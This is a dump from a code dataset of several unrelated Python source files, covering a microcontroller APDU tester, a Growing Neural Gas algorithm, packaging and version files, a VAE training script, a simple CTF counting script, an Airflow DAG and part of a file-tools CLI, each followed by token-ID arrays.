substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Author: <NAME> """ from sys import stdout import time from ..hexen import * from .. import uart from ..apdu import Apdu from .programmer import Programmer def tester(port): from .uart import Serial serial = Serial(port) return Tester(serial) """ class Tester() Command interface to a sam3x8e target device. The target device is assumed to run a command handler for APDU instruction classes 'L' (Loader) \| loader.c 'T' (Tester) \| tester.c Extend methods of Programmer class by tests. """ class Tester(Programmer): def __init__(self, args, kwargs): super().__init__(args, **kwargs) def blink(self): """Toggle pin B27 repeatedly.""" _, status = self.apdu.sendreceive(b'B', cla=b'T') return status def set_led(self, value): _, status = self.apdu.sendreceive(b'l', bu8(value), cla=b'T') assert status == 0x9000 def pc(self): """Read the address of the uart_send_uint8 function. Useful to detect if program is executing in flash or RAM. """ res, status = self.apdu.sendreceive(b'W', b'', 4, cla=b'T') assert status == 0x9000 return ub32(res) ### Test SPI slave commands (Attention: MOSI to MOSI, MISO to MISO) def spi_open(self): res, status = self.apdu.sendreceive(cla=b'T', ins=b'o', res_len=0) assert status == 0x9000 def spi_send(self, data): res, status = self.apdu.sendreceive(cla=b'T', ins=b'w', data=data, res_len=0) assert status == 0x9000 def spi_receive(self, length): res, status = self.apdu.sendreceive(cla=b'T', ins=b'r', res_len=length) assert status == 0x9000 return res ### Test I2C slave commands def i2c_open(self): res, status = self.apdu.sendreceive(cla=b'T', ins=b'O', res_len=0) assert status == 0x9000 def i2c_send(self, data): res, status = self.apdu.sendreceive(cla=b'T', ins=b'W', data=data, res_len=0) assert status == 0x9000 def i2c_receive(self, length): res, status = self.apdu.sendreceive(cla=b'T', ins=b'R', res_len=length) assert status == 0x9000 return res	[ 1, 529, 276, 1112, 420, 29958, 344, 629, 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GrowingNeuralGas.py	Kursula/GrowingNeuralGas	0	140760	""" This code implements the Growing Neural Gas algorithm that creates a graph that learns the topologies in the given input data. See e.g. followning documents references: https://papers.nips.cc/paper/893-a-growing-neural-gas-network-learns-topologies.pdf http://www.booru.net/download/MasterThesisProj.pdf """ from FeatureGraph.graph import Graph import numpy as np class GrowingNeuralGas: def __init__(self, feature_dim : int): self.feature_dim = feature_dim # GNG vertex counter self.n_vertex = 0 # Unique vertex naming counter self.name_counter = 0 # Init stuff self.__init_graph() def __get_unique_name(self, prefix : str = 'N') -> str: """ Generates unique names for GNG graph elements """ name = prefix + str(self.name_counter) self.name_counter += 1 return name def __init_graph(self) -> None: """ Initialize the GNG graph database """ self.graph = Graph() def __add_vertex(self, feature_vector : np.ndarray) -> str: """ Add new vertex to the GNG graph. Returns the vertex key. """ key = self.__get_unique_name() self.graph.add_vertex(key=key) self.graph.set_vertex_param(key=key, feature_vector=feature_vector, error=0) self.n_vertex += 1 return key def __add_edge(self, key_a : str, key_b : str) -> None: """ Add new edge to the GNG graph and initialize the GNG specific parameters """ self.graph.add_edge(key_a=key_a, key_b=key_b, bidirectional=True) self.graph.set_edge_param(key_a=key_a, key_b=key_b, age=0) def __delete_vertex(self, key : str) -> None: """ Delete vertex and all edges associated to it. """ self.graph.delete_vertex(key) self.n_vertex -= 1 def __delete_edge(self, key_a : str, key_b : str) -> None: self.graph.delete_edge(key_a, key_b, bidirectional=True) def __get_vertex_param(self, key, param_key) -> any: value = self.graph.get_vertex_param(key=key, param_key=param_key) return value def __get_edge_param(self, key_a, key_b, param_key) -> any: value = self.graph.get_edge_param(key_a=key_a, key_b=key_b, param_key=param_key) return value def __set_vertex_param(self, key, kwargs) -> None: self.graph.set_vertex_param(key=key, kwargs) def __set_edge_param(self, key_a, key_b, kwargs) -> None: self.graph.set_edge_param(key_a=key_a, key_b=key_b, kwargs) def __find_nearest_vertices(self, ref_vect : np.ndarray, n_vertex : int = 2) -> list: # Get all vertex keys vertices = self.graph.get_vertices() # Calculate all distances distances = [] for vertex in vertices: vertex_vect = self.__get_vertex_param(key=vertex, param_key='feature_vector') dist = np.linalg.norm(vertex_vect - ref_vect) distances.append([vertex, dist]) distances = sorted(distances, key=lambda x: x[1]) return distances[:n_vertex] def __get_neighbor_vertices(self, key) -> list: neighbors = self.graph.get_edges(key)['out'] return neighbors def __delete_expired_edges(self, age_limit : int) -> None: vertices = self.graph.get_vertices() for key_a in vertices: neighbors = self.graph.get_edges(key_a)['out'] for key_b in neighbors: edge_age = self.__get_edge_param(key_a, key_b, 'age') if edge_age > age_limit: self.graph.delete_edge(key_a, key_b, bidirectional=True) def __delete_unconnected_vertices(self) -> None: vertices = self.graph.get_vertices() for key in vertices: neighbors = self.graph.get_edges(key)['out'] if len(neighbors) == 0: self.graph.delete_vertex(key) self.n_vertex -= 1 def __find_largest_error_vertex(self) -> str: vertices = self.graph.get_vertices() max_err_val = 0 max_err_key = '' for key in vertices: error = self.__get_vertex_param(key=key, param_key='error') if error > max_err_val: max_err_val = error max_err_key = key return [max_err_key, max_err_val] def __find_largest_error_neighbor(self, key) -> str: neighbors = self.graph.get_edges(key)['out'] max_err_val = 0 max_err_key = '' for key in neighbors: error = self.__get_vertex_param(key=key, param_key='error') if error > max_err_val: max_err_val = error max_err_key = key return [max_err_key, max_err_val] def __scale_vertex_error_values(self, attenuation : float) -> None: vertices = self.graph.get_vertices() for key in vertices: error = self.__get_vertex_param(key, 'error') error -= attenuation * error self.__set_vertex_param(key, error=error) def get_graph(self): return self.graph def fit(self, dataset : np.ndarray, iterations : int, max_vertex : int, winner_upd_coeff : float = 0.05, neighbor_upd_coeff : float = 0.0005, edge_age_limit : int = 100, vertex_insert_interval : int = 100, vertex_insert_error_scaling : float = 0.5, error_attenuation : float = 0.0005, plot_interval : int = 100, plot_function : any = None) -> None : n_pts = dataset.shape[0] for iteration in range(1, iterations + 1): if self.n_vertex < 2: # Initialize graph # Add the two starting vertices and edge between them key_a = self.__add_vertex(feature_vector=np.random.rand(self.feature_dim)) key_b = self.__add_vertex(feature_vector=np.random.rand(self.feature_dim)) self.__add_edge(key_a, key_b) # Plot stuff if (plot_interval is not None) and \ (iteration % plot_interval == 0) and \ (plot_function is not None): plot_function(dataset, self.graph, iteration) # Get random data point to be used in GNG graph fitting. idx = np.random.randint(n_pts) data_vect = dataset[idx] # Find two nearest vertices from the GNG graph nearest = self.__find_nearest_vertices(data_vect, n_vertex=2) # Update the winner vertex error value vertex_a_key = nearest[0][0] vertex_a_dist = nearest[0][1] error = self.__get_vertex_param(key=vertex_a_key, param_key='error') error += vertex_a_dist ** 2 self.__set_vertex_param(key=vertex_a_key, error=error) # Update winner vertex feature vector vertex_vect = self.__get_vertex_param(key=vertex_a_key, param_key='feature_vector') vertex_vect = vertex_vect + winner_upd_coeff * (data_vect - vertex_vect) self.__set_vertex_param(key=vertex_a_key, feature_vector=vertex_vect) # Update winner's neighbor vertices neighbor_vertices = self.__get_neighbor_vertices(vertex_a_key) for vertex_b_key in neighbor_vertices: # Update vectors vertex_vect = self.__get_vertex_param(key=vertex_b_key, param_key='feature_vector') vertex_vect = vertex_vect + neighbor_upd_coeff * (data_vect - vertex_vect) self.__set_vertex_param(key=vertex_b_key, feature_vector=vertex_vect) # Update edge ages edge_age = self.__get_edge_param(vertex_a_key, vertex_b_key, 'age') edge_age += 1 self.__set_edge_param(vertex_a_key, vertex_b_key, age=edge_age) # Update the second nearest vertex vertex_b_key = nearest[1][0] vertex_b_dist = nearest[1][1] if vertex_b_key not in neighbor_vertices: # Add edge if it doesn't exist yet self.__add_edge(vertex_a_key, vertex_b_key) else: # Set edge age to zero self.__set_edge_param(vertex_a_key, vertex_b_key, age=0) #pass # Delete too old edges self.__delete_expired_edges(edge_age_limit) # Delete vertices with no edges self.__delete_unconnected_vertices() # Add new vertex if (iteration % vertex_insert_interval == 0) and (self.n_vertex < max_vertex): # Get vertex with largest error value search_result = self.__find_largest_error_vertex() vertex_a_key = search_result[0] vertex_a_error = search_result[1] vertex_a_vect = self.__get_vertex_param(vertex_a_key, 'feature_vector') # Get the neighbor with largest error neighbor_result = self.__find_largest_error_neighbor(vertex_a_key) vertex_b_key = neighbor_result[0] vertex_b_error = neighbor_result[1] vertex_b_vect = self.__get_vertex_param(vertex_b_key, 'feature_vector') # Calculate new error values new_a_error = vertex_a_error * vertex_insert_error_scaling self.__set_vertex_param(vertex_a_key, error=new_a_error) new_b_error = vertex_b_error * vertex_insert_error_scaling self.__set_vertex_param(vertex_b_key, error=new_b_error) # Setup new vertex new_vertex_vector = (vertex_a_vect + vertex_b_vect) / 2 new_vertex_error = new_a_error new_vertex_key = self.__add_vertex(new_vertex_vector) self.__set_vertex_param(new_vertex_key, error=new_vertex_error) # Rearrange the edges self.__delete_edge(vertex_a_key, vertex_b_key) self.__add_edge(new_vertex_key, vertex_a_key) self.__add_edge(new_vertex_key, vertex_b_key) # Reduce all error values self.__scale_vertex_error_values(error_attenuation)	[ 1, 9995, 13, 4013, 775, 10703, 278, 402, 798, 292, 2448, 3631, 19141, 5687, 393, 10017, 263, 3983, 29871, 13, 5747, 24298, 1983, 278, 2246, 11763, 297, 278, 2183, 1881, 848, 29889, 29871, 13, 13, 13393, 321, 29889, 29887, 29889, 1101, 1076, 10701, 9282, 29901, 29871, 13, 991, 597, 29886, 21321, 29889, 1240, 567, 29889, 617, 29914, 19773, 29914, 29947, 29929, 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setup.py	abeerupadhyay/py-redismutex	3	1610123	<reponame>abeerupadhyay/py-redismutex<filename>setup.py<gh_stars>1-10 import os from setuptools import find_packages, setup with open(os.path.join(os.path.dirname(__file__), 'VERSION')) as version: VERSION = version.read().strip() setup( name="redismutex", version=VERSION, description="Python implementation of mutex using redis", url="https://github.com/esquarer/py-redismutex", author="<NAME>", author_email="<EMAIL>", license='MIT', keywords="python redis mutex", packages=find_packages(exclude=['docs', 'tests*']), install_requires=[ 'future==0.16.0', 'redis==2.10.6' ], project_urls={ 'Source': 'https://github.com/esquarer/py-redismutex/', 'Documentation': 'http://py-redismutex.readthedocs.io/en/latest/', 'Tracker': 'https://github.com/esquarer/py-redismutex/issues/', }, classifiers=[ 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.6', ] )	[ 1, 529, 276, 1112, 420, 29958, 4302, 261, 786, 328, 5819, 388, 29914, 2272, 29899, 1127, 1608, 329, 735, 29966, 9507, 29958, 14669, 29889, 2272, 29966, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 5215, 2897, 13, 3166, 731, 21245, 8789, 1053, 1284, 29918, 8318, 29892, 6230, 13, 13, 2541, 1722, 29898, 359, 29889, 2084, 29889, 7122, 29898, 359, 29889, 2084, 29889, 25721, 22168, 1445, 1649, 511, 525, 16358, 8785, 408, 1873, 29901, 13, 1678, 478, 1001, 13381, 353, 1873, 29889, 949, 2141, 17010, 580, 13, 13, 14669, 29898, 13, 1678, 1024, 543, 1127, 1608, 329, 735, 613, 13, 1678, 1873, 29922, 16358, 29892, 13, 1678, 6139, 543, 11980, 5314, 310, 5478, 735, 773, 29825, 613, 13, 1678, 3142, 543, 991, 597, 3292, 29889, 510, 29914, 267, 339, 279, 261, 29914, 2272, 29899, 1127, 1608, 329, 735, 613, 13, 1678, 4148, 543, 29966, 5813, 28341, 13, 1678, 4148, 29918, 5269, 543, 29966, 26862, 6227, 28341, 13, 1678, 19405, 2433, 26349, 742, 13, 1678, 29361, 543, 4691, 29825, 5478, 735, 613, 13, 1678, 9741, 29922, 2886, 29918, 8318, 29898, 735, 2325, 29922, 1839, 2640, 742, 525, 21150, 29930, 2033, 511, 13, 1678, 2601, 29918, 276, 339, 2658, 11759, 13, 4706, 525, 29888, 9130, 1360, 29900, 29889, 29896, 29953, 29889, 29900, 742, 13, 4706, 525, 1127, 275, 1360, 29906, 29889, 29896, 29900, 29889, 29953, 29915, 13, 1678, 21251, 13, 1678, 2060, 29918, 26045, 3790, 13, 4706, 525, 4435, 2396, 525, 991, 597, 3292, 29889, 510, 29914, 267, 339, 279, 261, 29914, 2272, 29899, 1127, 1608, 329, 735, 29914, 742, 13, 4706, 525, 6268, 362, 2396, 525, 1124, 597, 2272, 29899, 1127, 1608, 329, 735, 29889, 949, 386, 287, 12332, 29889, 601, 29914, 264, 29914, 12333, 29914, 742, 13, 4706, 525, 5323, 4937, 2396, 525, 991, 597, 3292, 29889, 510, 29914, 267, 339, 279, 261, 29914, 2272, 29899, 1127, 1608, 329, 735, 29914, 12175, 29914, 742, 13, 1678, 2981, 13, 1678, 770, 14903, 11759, 13, 4706, 525, 2928, 2760, 319, 4749, 663, 4761, 10682, 414, 742, 13, 4706, 525, 29931, 293, 1947, 4761, 438, 5425, 28268, 1490, 4761, 341, 1806, 19245, 742, 13, 4706, 525, 9283, 4056, 17088, 4761, 5132, 4761, 29871, 29906, 742, 13, 4706, 525, 9283, 4056, 17088, 4761, 5132, 4761, 29871, 29906, 29889, 29955, 742, 13, 4706, 525, 9283, 4056, 17088, 4761, 5132, 4761, 29871, 29941, 742, 13, 4706, 525, 9283, 4056, 17088, 4761, 5132, 4761, 29871, 29941, 29889, 29953, 742, 13, 1678, 4514, 13, 29897, 13, 2 ]
zemberek/morphology/morphotactics/attribute_to_surface_cache.py	Loodos/zemberek-python	52	59686	from threading import Lock from typing import Dict, Set, Union from zemberek.core.turkish.phonetic_attribute import PhoneticAttribute class AttributeToSurfaceCache: def __init__(self): self.attribute_map: Dict[int, str] = {} self.lock = Lock() def add_surface(self, attributes: Set[PhoneticAttribute], surface: str): """ Method changed. Instead of original, this method uses hash value of concatenated short form of phonetic attributes as key :param attributes: :param surface: :return: """ key_string = "" for attribute in attributes: key_string += attribute.get_string_form() with self.lock: self.attribute_map[hash(key_string)] = surface def get_surface(self, attributes: Set[PhoneticAttribute]) -> Union[str, None]: """ Method changed. Instead of original, this method uses hash value of concatenated short form of phonetic attributes as key :param attributes: :return: """ key_string = "" for attribute in attributes: key_string += attribute.get_string_form() return self.attribute_map.get(hash(key_string))	[ 1, 515, 3244, 292, 1053, 18199, 13, 3166, 19229, 1053, 360, 919, 29892, 3789, 29892, 7761, 13, 13, 3166, 503, 1590, 20400, 29889, 3221, 29889, 29873, 29641, 728, 29889, 17607, 7492, 29918, 12715, 1053, 1963, 265, 7492, 6708, 13, 13, 13, 1990, 23833, 1762, 18498, 2161, 10408, 29901, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 1125, 13, 4706, 1583, 29889, 12715, 29918, 1958, 29901, 360, 919, 29961, 524, 29892, 851, 29962, 353, 6571, 13, 4706, 1583, 29889, 908, 353, 18199, 580, 13, 13, 1678, 822, 788, 29918, 7610, 2161, 29898, 1311, 29892, 8393, 29901, 3789, 29961, 4819, 265, 7492, 6708, 1402, 7101, 29901, 851, 1125, 13, 4706, 9995, 13, 4706, 8108, 3939, 29889, 8669, 310, 2441, 29892, 445, 1158, 3913, 6608, 995, 310, 16125, 630, 3273, 883, 310, 1374, 265, 7492, 13, 4706, 8393, 408, 1820, 13, 4706, 584, 3207, 8393, 29901, 13, 4706, 584, 3207, 7101, 29901, 13, 4706, 584, 2457, 29901, 13, 4706, 9995, 13, 4706, 1820, 29918, 1807, 353, 5124, 13, 4706, 363, 5352, 297, 8393, 29901, 13, 9651, 1820, 29918, 1807, 4619, 5352, 29889, 657, 29918, 1807, 29918, 689, 580, 13, 4706, 411, 1583, 29889, 908, 29901, 13, 9651, 1583, 29889, 12715, 29918, 1958, 29961, 8568, 29898, 1989, 29918, 1807, 4638, 353, 7101, 13, 13, 1678, 822, 679, 29918, 7610, 2161, 29898, 1311, 29892, 8393, 29901, 3789, 29961, 4819, 265, 7492, 6708, 2314, 1599, 7761, 29961, 710, 29892, 6213, 5387, 13, 4706, 9995, 13, 4706, 8108, 3939, 29889, 8669, 310, 2441, 29892, 445, 1158, 3913, 6608, 995, 310, 16125, 630, 3273, 883, 310, 1374, 265, 7492, 13, 4706, 8393, 408, 1820, 13, 4706, 584, 3207, 8393, 29901, 13, 4706, 584, 2457, 29901, 13, 4706, 9995, 13, 4706, 1820, 29918, 1807, 353, 5124, 13, 4706, 363, 5352, 297, 8393, 29901, 13, 9651, 1820, 29918, 1807, 4619, 5352, 29889, 657, 29918, 1807, 29918, 689, 580, 13, 4706, 736, 1583, 29889, 12715, 29918, 1958, 29889, 657, 29898, 8568, 29898, 1989, 29918, 1807, 876, 13, 2 ]
main.py	zhuxinqimac/Ramiel	0	145447	<reponame>zhuxinqimac/Ramiel #!/usr/bin/python #-- coding: utf-8 -- # >.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>. # Licensed under the Apache License, Version 2.0 (the "License") # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # --- File Name: main.py # --- Creation Date: 07-09-2020 # --- Last Modified: Sat 19 Sep 2020 00:23:02 AEST # --- Author: <NAME> # .<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.< """ Main training for GroupVAE. Code borrowed from disentanglement_lib. """ # We group all the imports at the top. from __future__ import absolute_import from __future__ import division from __future__ import print_function import os import sys # Insert disentanglement_lib to path. sys.path.insert( 0, os.path.join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'disentanglement_lib')) from disentanglement_lib.config import reproduce from disentanglement_lib.evaluation import evaluate from disentanglement_lib.evaluation.metrics import utils from disentanglement_lib.methods.unsupervised import train from disentanglement_lib.methods.unsupervised import vae from disentanglement_lib.postprocessing import postprocess from disentanglement_lib.utils import aggregate_results from disentanglement_lib.visualize import visualize_model from disentanglement_lib.utils import resources import argparse import glob import numpy as np import tensorflow.compat.v1 as tf import gin.tf from models import GroupVAE from architectures import group_conv_encoder, group_deconv_decoder from utils import _str_to_bool def main(): parser = argparse.ArgumentParser(description='Project description.') parser.add_argument('--result_dir', help='Results directory.', type=str, default='/mnt/hdd/repo_results/Ramiel/sweep') parser.add_argument('--study', help='Name of the study.', type=str, default='unsupervised_study_v1') parser.add_argument('--model_gin', help='Name of the gin config.', type=str, default='test_model.gin') parser.add_argument('--model_name', help='Name of the model.', type=str, default='GroupVAE') parser.add_argument('--vae_beta', help='Beta-VAE beta.', type=str, default='1') parser.add_argument('--hyps', help='Hyperparameters of rec_mat_oth_spl_seed.', type=str, default='1_1_1_1_1_0') parser.add_argument('--overwrite', help='Whether to overwrite output directory.', type=_str_to_bool, default=False) parser.add_argument('--dataset', help='Dataset.', type=str, default='dsprites_full') parser.add_argument('--recons_type', help='Reconstruction loss type.', type=str, default='bernoulli_loss') args = parser.parse_args() # 1. Settings study = reproduce.STUDIES[args.study] args.hyps = args.hyps.split('_') print() study.print_postprocess_config() print() study.print_eval_config() gpus = tf.config.experimental.list_physical_devices('GPU') if gpus: try: # Currently, memory growth needs to be the same across GPUs for gpu in gpus: tf.config.experimental.set_memory_growth(gpu, True) logical_gpus = tf.config.experimental.list_logical_devices('GPU') print(len(gpus), "Physical GPUs,", len(logical_gpus), "Logical GPUs") except RuntimeError as e: # Memory growth must be set before GPUs have been initialized print(e) # Call training module to train the custom model. if args.model_name == "GroupVAE": dir_name = "GroupVAE-" + "-".join(args.hyps) elif args.model_name == "vae": dir_name = "LieVAE-" + args.vae_beta + "-" + args.hyps[5] output_directory = os.path.join(args.result_dir, dir_name) model_dir = os.path.join(output_directory, "model") gin_bindings = [ "model.model = @" + args.model_name + "()", "vae.beta = " + args.vae_beta, "GroupVAE.hy_rec = " + args.hyps[0], "GroupVAE.hy_mat = " + args.hyps[1], "GroupVAE.hy_oth = " + args.hyps[2], "GroupVAE.hy_spl = " + args.hyps[3], "GroupVAE.hy_ncut = " + args.hyps[4], "model.random_seed = " + args.hyps[5], "dataset.name = '" + args.dataset + "'", "reconstruction_loss.loss_fn = @" + args.recons_type ] train.train_with_gin(model_dir, args.overwrite, [args.model_gin], gin_bindings) # We fix the random seed for the postprocessing and evaluation steps (each # config gets a different but reproducible seed derived from a master seed of # 0). The model seed was set via the gin bindings and configs of the study. random_state = np.random.RandomState(0) # We extract the different representations and save them to disk. postprocess_config_files = sorted(study.get_postprocess_config_files()) for config in postprocess_config_files: post_name = os.path.basename(config).replace(".gin", "") print("Extracting representation " + post_name + "...") post_dir = os.path.join(output_directory, "postprocessed", post_name) postprocess_bindings = [ "postprocess.random_seed = {}".format(random_state.randint(232)), "postprocess.name = '{}'".format(post_name) ] postprocess.postprocess_with_gin(model_dir, post_dir, args.overwrite, [config], postprocess_bindings) # Iterate through the disentanglement metrics. eval_configs = sorted(study.get_eval_config_files()) blacklist = ['downstream_task_logistic_regression.gin'] # blacklist = [ # 'downstream_task_logistic_regression.gin', 'beta_vae_sklearn.gin', # 'dci.gin', 'downstream_task_boosted_trees.gin', 'mig.gin', # 'modularity_explicitness.gin', 'sap_score.gin', 'unsupervised.gin' # ] for config in postprocess_config_files: post_name = os.path.basename(config).replace(".gin", "") post_dir = os.path.join(output_directory, "postprocessed", post_name) # Now, we compute all the specified scores. for gin_eval_config in eval_configs: if os.path.basename(gin_eval_config) not in blacklist: metric_name = os.path.basename(gin_eval_config).replace( ".gin", "") print("Computing metric " + metric_name + " on " + post_name + "...") metric_dir = os.path.join(output_directory, "metrics", post_name, metric_name) eval_bindings = [ "evaluation.random_seed = {}".format( random_state.randint(232)), "evaluation.name = '{}'".format(metric_name) ] evaluate.evaluate_with_gin(post_dir, metric_dir, args.overwrite, [gin_eval_config], eval_bindings) # We visualize reconstructions, samples and latent space traversals. visualize_dir = os.path.join(output_directory, "visualizations") visualize_model.visualize(model_dir, visualize_dir, args.overwrite) if __name__ == "__main__": main()	[ 1, 529, 276, 1112, 420, 29958, 17599, 1314, 262, 29939, 326, 562, 29914, 29934, 314, 709, 13, 29937, 14708, 4855, 29914, 2109, 29914, 4691, 13, 29937, 29899, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 13, 29937, 1405, 29889, 15513, 15513, 15513, 15513, 15513, 15513, 15513, 15513, 15513, 15513, 15513, 15513, 15513, 15513, 15513, 13, 29937, 10413, 21144, 1090, 278, 13380, 19245, 29892, 10079, 29871, 29906, 29889, 29900, 313, 1552, 376, 29931, 293, 1947, 1159, 13, 29937, 887, 1122, 4017, 263, 3509, 310, 278, 19245, 472, 13, 29937, 1732, 597, 1636, 29889, 4288, 29889, 990, 29914, 506, 11259, 29914, 27888, 1430, 1660, 29899, 29906, 29889, 29900, 13, 13, 29937, 11474, 3497, 4408, 29901, 1667, 29889, 2272, 13, 29937, 11474, 6760, 362, 4712, 29901, 29871, 29900, 29955, 29899, 29900, 29929, 29899, 29906, 29900, 29906, 29900, 13, 29937, 11474, 9208, 3382, 2164, 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Programming/simple_programming/fancy_count.py	NovusEdge/CTFLearn_Writeups	0	143721	from time import time def count_stuff(): flag = "" f = open("data.dat", "r"); data = f.read().split("\n") check_zeros = lambda x: x.count('0') % 3 == 0 check_ones = lambda x: x.count('1') % 2 == 0 checked_data = [ line for line in data if (check_ones(line) or check_zeros(line)) and line ] f.close() return len(checked_data) if __name__ == '__main__': start = time() print(f"Flag: {count_stuff()}") print(f"Time Taken: { time() - start }")	[ 1, 515, 931, 1053, 931, 13, 13, 13, 1753, 2302, 29918, 303, 3096, 7295, 13, 1678, 7353, 353, 5124, 13, 1678, 285, 1678, 353, 1722, 703, 1272, 29889, 4130, 613, 376, 29878, 1496, 848, 353, 285, 29889, 949, 2141, 5451, 14182, 29876, 1159, 13, 13, 1678, 1423, 29918, 3298, 359, 29871, 353, 14013, 921, 29901, 921, 29889, 2798, 877, 29900, 1495, 1273, 29871, 29941, 1275, 29871, 29900, 13, 1678, 1423, 29918, 2873, 259, 353, 14013, 921, 29901, 921, 29889, 2798, 877, 29896, 1495, 1273, 29871, 29906, 1275, 29871, 29900, 13, 13, 1678, 7120, 29918, 1272, 353, 518, 1196, 363, 1196, 297, 848, 565, 313, 3198, 29918, 2873, 29898, 1220, 29897, 470, 1423, 29918, 3298, 359, 29898, 1220, 876, 322, 1196, 4514, 13, 1678, 285, 29889, 5358, 580, 13, 13, 1678, 736, 7431, 29898, 11238, 29918, 1272, 29897, 13, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 1678, 1369, 353, 931, 580, 13, 1678, 1596, 29898, 29888, 29908, 21979, 29901, 426, 2798, 29918, 303, 3096, 580, 27195, 13, 1678, 1596, 29898, 29888, 29908, 2481, 323, 9424, 29901, 426, 931, 580, 448, 1369, 500, 1159, 13, 2 ]
example_dag.py	grecoe/apache-airflow-dag	0	156612	<filename>example_dag.py<gh_stars>0 # Copyright (c) Microsoft Corporation. All rights reserved. # # Licensed under Microsoft Incubation License Agreement: import os import logging from datetime import datetime, timedelta from dagcontext.airflowutil.varloader import AirflowVarialbeLoader from dagcontext.configurations.constants import Constants from dagcontext.configurations.env_config import EnvironmentConfiguration from tasks.exampletasks import ExampleTasks # Import the right objects based on airflow version 2.2.1 vs 1.10.12 from airflow import DAG try: from airflow.operators.python import PythonOperator except Exception as ex: # pylint: disable=broad-except from airflow.operators.python_operator import PythonOperator log = logging.getLogger(__name__) with DAG( dag_id="context_example", schedule_interval=None, start_date=datetime(2021, 1, 1), catchup=False, dagrun_timeout=timedelta(minutes=60), tags=["demo"], params={"OAK": "Examples"}, ) as dag: # Load up the deployment details for processing environment_config = EnvironmentConfiguration( # Anything you want to load from the os.environ settings environment_variables= [ Constants.OAK_IDENTITY.IDENTITY_ENDPOINT, Constants.OAK_IDENTITY.IDENTITY_HEADER, Constants.OAK_IDENTITY.OAK_HOST ], # Anything you want to load from Airflow variables variable_loader = AirflowVarialbeLoader(), airflow_variables = [ Constants.AIRFLOW_VARS.COGSRCH_SEARCH_INSTANCES ], ) # Set up paths because we'll use them for logging, activity log, xcom passing # where payload > 64KB airlfow_folder = os.getcwd() dag_folder = os.path.join(airlfow_folder, "dags") temp_folder = os.path.join(dag_folder, "tmp/example") if not os.path.exists(temp_folder): os.makedirs(temp_folder) environment_config.update_config(Constants.ENVIRONMENT.WORKING_DIRECTORY, airlfow_folder) environment_config.update_config(Constants.ENVIRONMENT.DAG_DIRECTORY, dag_folder) environment_config.update_config(Constants.ENVIRONMENT.TEMP_DIRECTORY, temp_folder) # Show Context and Get some data show_context = PythonOperator( task_id="show_context", python_callable=ExampleTasks.show_context, op_kwargs=environment_config.get_config(), provide_context=True, ) settings = environment_config.get_config( { Constants.AIRFLOW_CTX.XCOM_TARGET: ["show_context"] } ) consume_xcom = PythonOperator( task_id="consume_xcom", python_callable=ExampleTasks.consume_xcom, op_kwargs=settings, provide_context=True, ) # Dag Flow show_context >> consume_xcom	[ 1, 529, 9507, 29958, 4773, 29918, 24157, 29889, 2272, 29966, 12443, 29918, 303, 1503, 29958, 29900, 13, 29937, 14187, 1266, 313, 29883, 29897, 7783, 15025, 29889, 2178, 10462, 21676, 29889, 13, 29937, 13, 29937, 10413, 21144, 1090, 7783, 9266, 431, 362, 19245, 4059, 276, 882, 29901, 13, 13, 5215, 2897, 13, 5215, 12183, 13, 3166, 12865, 1053, 12865, 29892, 5335, 287, 2554, 13, 13, 3166, 12136, 4703, 29889, 1466, 1731, 4422, 29889, 1707, 12657, 1053, 5593, 1731, 9037, 616, 915, 10036, 13, 3166, 12136, 4703, 29889, 2917, 332, 800, 29889, 3075, 1934, 1053, 5798, 1934, 13, 3166, 12136, 4703, 29889, 2917, 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rasa/version.py	harada4atsushi/rasa	1	1607890	<filename>rasa/version.py<gh_stars>1-10 # this file will automatically be changed, # do not add anything but the version number here! __version__ = "1.10.0"	[ 1, 529, 9507, 29958, 3417, 29874, 29914, 3259, 29889, 2272, 29966, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 29937, 445, 934, 674, 6336, 367, 3939, 29892, 13, 29937, 437, 451, 788, 3099, 541, 278, 1873, 1353, 1244, 29991, 13, 1649, 3259, 1649, 353, 376, 29896, 29889, 29896, 29900, 29889, 29900, 29908, 13, 2 ]
src/filetools/cli.py	ownport/filemeta	1	1600373	<filename>src/filetools/cli.py<gh_stars>1-10 import os import sys import logging import argparse from filetools import utils from filetools.cleaner import Cleaner from filetools.reporter import Reporter from filetools.scanner import Scanner from filetools.version import version FILETOOLS_USAGE = '''filetools <command> [<args>] The list of commands: stats collect statistics about files in the directory scan scan files into the directory for metadata cleanup removing files, renaming info collect metedata from the file ''' logger = logging.getLogger(__name__) class CLI(): def __init__(self): parser = argparse.ArgumentParser(usage=FILETOOLS_USAGE) parser.add_argument('-v', '--version', action='version', version='filetools-v{}'.format(version)) parser.add_argument('-l', '--log_level', default='DEBUG', help='Log level: DEBUG, INFO, WARNING, ERROR, CRITICAL') parser.add_argument('command', help='Subcommand to run') args = parser.parse_args(sys.argv[1:2]) if not hasattr(self, args.command): print('Unrecognized command: %s' % args.command) sys.exit(1) logging.basicConfig(level=logging.DEBUG, format="%(asctime)s (%(name)s) [%(levelname)s] %(message)s") # use dispatch pattern to invoke method with same name getattr(self, args.command)() @staticmethod def scan(): ''' scan directory for collecting files metadata ''' parser = argparse.ArgumentParser(description='scan files into the directory for metadata') parser.add_argument('--path', dest='path', required=True, help="the path to the directory for file scanning") parser.add_argument('--output-type', dest='output_type', choices=['jsonline', 'sqlite3'], help="the output type") parser.add_argument('--output-file', dest='output_file', help="the 